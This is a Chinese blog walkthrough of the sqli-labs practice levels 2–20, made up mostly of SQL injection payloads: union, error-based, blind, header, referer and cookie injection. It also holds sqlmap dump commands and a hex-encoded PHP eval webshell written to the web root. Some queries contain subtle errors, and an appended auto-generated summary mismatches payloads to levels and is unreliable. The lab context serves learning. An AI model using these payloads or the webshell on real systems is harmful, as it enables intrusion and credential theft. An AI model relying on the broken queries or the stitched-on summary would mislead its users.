sqli_labs通关详解(1-20关easy部分)(仅供参考)

LESSON_2

刚刚学了sql注入一小部分,让我们先做做练练手(别问我为什么没有1),搭建环境这一步就不说了。

让我们直接点进题目:watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

通过对id的赋值,我们判断这个题目的注入类型是数值型。判断好注入类型后?开始用order by开始确定列数,从1开始一个一个尝试

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 到4的时候就没有列了,现在我们开始找库名

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 然后查看security这个表里面的内容watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 找到了users,再查看users里面的数据,就这样一步一步来watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

我们发现里面就有id,password,username,再查看里面的内容,用group_concat()进行查询watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAa2luZHl5eQ==,size_20,color_FFFFFF,t_70,g_se,x_16

 这道题就相当于是解决完了。

补充:其实我以前一直在想,sql注入看那么多东西的目的是什么,直到今天我才想明白,原来是为了找到最里面的flag或者是重要的信息

LESSON_3

这道题和1,2题解决的方法是大同小异的,只不过是sql注入的类型不一样,是字符型注入(')类型)先来看有几列(其实我们都知道是有3列的.....)

?id=1') order by 3 --+

 然后,再查询它的表名:

?id=-1') union select 1,2,3 --+

 只回显了两个值,所以只用联合查询1,2,这时,再让我们查询它的库名,表名,列,列中的数据,一步一步来,咱就说一定能学会!

查库名:

?id=-1') union select 1,2,group_concat(schema_name) from information_schema.shemata --+

查表名:

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查列:

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where column_schema='users' --+

已经有password username id显示出来了,再将他们的数据都查看就完事了!查数据:

?id=-1') union select 1,2,group_concat(id,password,username) from security.users --+

这道题就完成了。

LESSON_4

跟上面的题没区别,只不过注入类型是")型注入,就不一步一步写步骤了,来康康截屏吧

看注入类型

 看所含的列数

 查库名

 查表名

 查列

 看数据,就没了

LESSON_11

这道题通过判断,是注册表型的‘的sql注入形式,跟以前没有什么两样(我自己做的时候觉得)。反正就一步一步来就好了。判断完类型后先查询列数

' order by 3 #

 但是我们发现会有错误

再次尝试

' order by 2 #

没有回显也没有异常。

联合查询列数

' union select 1,2 #

查询数据库名;

' union select 1,database() #

 查询表名:

' union select 1,group_concat(table_schema) from information_schema.tables where table_schema='security' #

查询列名:

' union select 1,group_concat(column_schema) from information_schema.columns where table_name='users' #

再看看里面的数据就好了

' union select 1,group_concat(id,username,password) from security.users #

这道题就算完成了(真是妙蛙种子开家门妙到家了)

LESSON_5

本题考察的主要考察布尔盲注,但是我今天学习用sqlmap直接就可以全部整出来,先来补充一点知识。

sqlmap的安装是大哥教我的。

1、首先我们要拥有一个python。因为上学期需要用到,所以我已经安装了一个了。然后,自己去网站上找一个sqlmap的源码,下载下来(大哥发给我的我就不提供了)。

2、创建桌面快捷方式:如图

选择快捷方式。创建完成后,选择cmd作为链接,再去更改属性。(但是盲注的脚本也可以自己去写,但是没有sqlmap那么强大,是没有办法比较的。。。)将快捷方式命名为sqlmap

创建成功后,进入属性 ,将起始位置更改为你sqlmap所在的位置,我的是在E盘中

然后就能正常的运行了!

此时此刻第五关就显得渺小了起来......,打开我们的sqlmap来跑一跑。

正常运行后,先查询库名

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" --dbs

 再查询表名:

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security --tables

 查询列:

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users --columns

最后查看里面的内容!!!

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -C id,password,username --dump all

okk了就

(第六关我也是用sqlmap跑出来的,别问问就是没有写)

LESSON-7

这关有一个全新的知识点,就是通过上传木马去获取它的本地文件(用蚁剑连接)大部分知识点总结了我大哥的博客(问就是他强制要求我看他的)参考博客

返回数据库的路径   @@datadir     查看文件所在的位置,具体使用方法如下:

测试是否具有读取权限语句: (select count(*) from mysql.user)>0
具体用法:http://localhost/sqli/Less-7/?id=1')) and (select count(*) from mysql.user)>0   有回显的话就是拥有读取权限,如果没有的话就要在PHP study里面加入一句命令

secure_file_priv="/"   (它的默认值为null)用这句命令来获取权限

一些有关写命令的函数

现在就可以开始做题了,3的时候还有回显,试一试4

http://localhost/sqli/Less-7/?id=-1%27))order%20by%204%20%23

 只有3列,这个时候使用联合查询已经没有用了,要用命令创建一个新的文件码才行

此时我们发现没有办法创建,其实是我们的码的内容被防火墙waf过滤了,这里我们用16进制绕过,记得在16进制前加上0x(如下),转换为16进制时候内容不需要加引号了

然后开始上传文件

http://localhost/sqli/Less-7/?id=1'))%20union%20select%201,2,0x3c3f70687020406576616c28245f504f53545b277a7863275d293b203f3e%20into%20outfile%20%27E:\\GJ\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\456.php%27%20%23

上传成功

 此时用蚁剑连接

 连接成功,可以访问到源目录,第七关完成

LESSON-8

自己搜的脚本跑出来的,其实也可以用sqlmap跑

主要还是脚本里面的函数用法要自己弄清楚,以后实战的时候才能够用起来(如果是大佬的话自己写脚本也是可以的),展示一下结果 

如果用sqlmap跑的话操作和第五关一样的操作

LESSON-9

多半相当于是时间盲注,不管注入什么回显都是 you are in......,尝试手注的话就用sleep还有substr()之类的

这里浅试一下手注

我们发现是单引号型注入,而且不管是我输入什么都是只会回显you are in.......

 尝试获取数据表名称,猜测第一个字符是什么

?id=1' and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s

的确是延迟显示了,说明正确,那就再尝试用长度可以再尝试一下

?id=1' and if(length(database())=8,sleep(3),1) %23
//判断数据库的名称长度是否为8

也存在延迟反应,说明猜测成立,一步一步的开始猜(其实真的会猜到天荒地老,所以好好学习脚本和sqlmap)

LESSON-10

这道题和第九关一样,只不过是双引号绕过类型

?id=1" and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s

将上面的换成双引号就可以了 (后面省略)

LESSON-12

与第11题一样,都是最普通的登陆界面注册方式,只不过是")型的注入方式 ,判断完成注入方式后我们开始慢慢的注入

查询数据库名称:

") union select 1,database() #
//一般登陆界面我习惯在登陆框里面直接输入命令

 数据库名是security,查询表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

查询users试一试,查询字段名

出现id,password,username,看一看他们 

1") union select 1,group_concat(id,username,password) from security.users #

 最后注入成功

LESSON-13

本题更相当于是一个报错注入,无论你的输入什么都没有回显,只显示登陆是否成功

用万能密码登录成功之后,发现他的注入类型是'),这里就直接进行报错注入命令

学习文本1    学习文本2

爆数据库:

1') and (select extractvalue(1,concat(0x7e,(select database())))) #

 爆表名

1') and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) #

 爆字段名:

1') and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))) #

 就这样爆下去!

(报错注入的笔记是我自己总结的!自己学习一下也可以的!)

LESSON-14

和十三关一个模板,只不过注入的方式不同

1" or 1=1#

用万能密码登陆后发现注入方式是"型注入

LESSON-15

用万能密码登陆后发现注入方式为单引号注入,于是开始查询字段

1' or 1=1 #

 但是发现没有任何的回显,我猜测应该是布尔盲注,要借助sleep()函数去判断,注意这里的用户名要是admin才能行

admin' and if(length(database())=8,sleep(1),1) #

延迟显示了1秒左右

 所以我们能够猜测出它的数据库名称是security。。。。。后面的步骤和前面的相同,也可以用sqlmap跑一下             参考学习博客

先用burpsuit将基本信息都抓下来 

打开我们的sqlmap,用口令就可以开始跑数据库名称了

E:\sql_map>python sqlmap.py -r "文件路径(自己填在属性里面找)" -p uname --dbs

最后得到的结果。。。后面就不跑了QAQ 

 LESSON-16

和16关一样,什么回显都没有,也不会报错,那就一定是时间盲注,可以手注借用sleep函数,也可以用sqlmap跑一下结果。(像15关一样!!!!)

先来测试一下注入方式,我试了一下这道题是")型注入

方法和上面那道题一模一样。。(就不做啦!)

LESSON-17 

打开题目,发现有点不同

题目上出现了密码重置的提示,先尝试一下嘛,我浅浅尝试了一下admin和123,就登陆成功了?(我看了一下参考博客,原博主是用bp得到的用户名),要从password窗口输入命令是因为密码会重新设置(但是这里不能一边查询内容一边去更改password的值,后面应该是能用上和命令的修改有关),那就从数据库名称开始查询

用admin和'知道了它的注入类型是单引号类型,(所以要确保uname没有改变,但是password可以随意改变)

查询数据库名称:

admin
1' and(select updatexml(1,concat(0x7e,(select database())),0x7e)) #

 查询表名:

1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security")),0x7e)) #

 查询字段名:

1' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns  where table_schema="security" and table_name='users')))) #

爆数据:

1' and(select extractvalue(1,concat(0x7e,(select group_concat(id) from users)))) #

 会出现这个的原因是因为那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表    参考博客1     参考博客2

要是不能先select的话,解决方法就是把他包裹起来,创建一个表A去替代他

查询ID的值:

admin
1' and updatexml(1,concat(0x5c,(select group_concat(id) from (select id from security.users)a),0x5c),1)#

 查询username的值

 1' and updatexml(1,concat(0x5c,(select group_concat(username) from (select username from security.users)a),0x5c),1)#

 再看password的内容:

admin
1' and updatexml(1,concat(0x5c,(select group_concat(password) from (select password from security.users)a),0x5c),1)#

 这道题就算是完成了!

LESSON-18

这道题有点不太一样,打开题目之后会有一个IP地址

用admin和123登录成功 

 有一个文件头信息,在看了参考博客之后知道要用bp抓包进行文件头注入,因为查看源码之后我们发现,uname和psw都被保护起来,不能改变,在提示之后知道只要在文件头处进行报错注入命令

 也可以用hacker bar进行注入

' and updatexml(1,concat('~',(select database())),1) and '1'='1

再查询表名称: 

' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

 查询字段:

' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1

 查询数据:

' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1

 报错注入还有很多要学的,感觉还有很多的不足,慢慢加油

LESSON-19

打开题目,用密码登陆上之后,发现是在referer上面进行注入,同样用hackbar,用bp抓包发现就是单纯的单引号型注入

爆数据库名: 

' and updatexml(1,concat('~',(select database())),1) and '1'='1

 爆表名:

' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

其他和18关一样,就不演示了

LESSON-20 

同样用万能密码登陆上看一看

八成是在cookies上面进行注入的,同样用bp抓包试一试 就用hackbar注入吧,会更方便一点。也是单引号型注入方式

 爆数据库:

uname=admin and ' and updatexml(1,concat('~',(select database())),1) and '1'='1

 爆表名:

uname=admin and ' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

爆字段名: 

uname=admin and ' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1

 查看数据:

uname=admin and ' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1

 前20关完成啦!

完结撒花,感谢观看

 

 

 

 

 

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
sqli-labs是一个SQL注入学习平台,通过完成一系列的关卡来学习和实践SQL注入漏洞的利用方法。根据引用的描述,首先需要在浏览器中打开"http://127.0.0.1/sqli-labs/",访问平台的首页。然后点击"Setup/reset Database"按钮以创建数据库,创建表并填充数据。 完成了上述设置后,可以开始挑战关卡sqli-labs通关1:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关2:根据引用提供的内容,可以在账户密码后面加入"1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#"来进行注入。这样就能够获取到users表中的用户名和密码的组合。 sqli-labs通关3通关3的方法没有在提供的引用中找到相信息。 sqli-labs通关4:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关5通关5的方法没有在提供的引用中找到相信息。 请注意,为了安全起见,在进行实际操作时,请确保仅在合法和授权的环境中进行,并遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [详细sqli-labs(1-65)通关讲解](https://blog.csdn.net/dreamthe/article/details/123795302)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Sqli-labs通关全解---Sqli-lab--1](https://blog.csdn.net/cyynid/article/details/128629421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值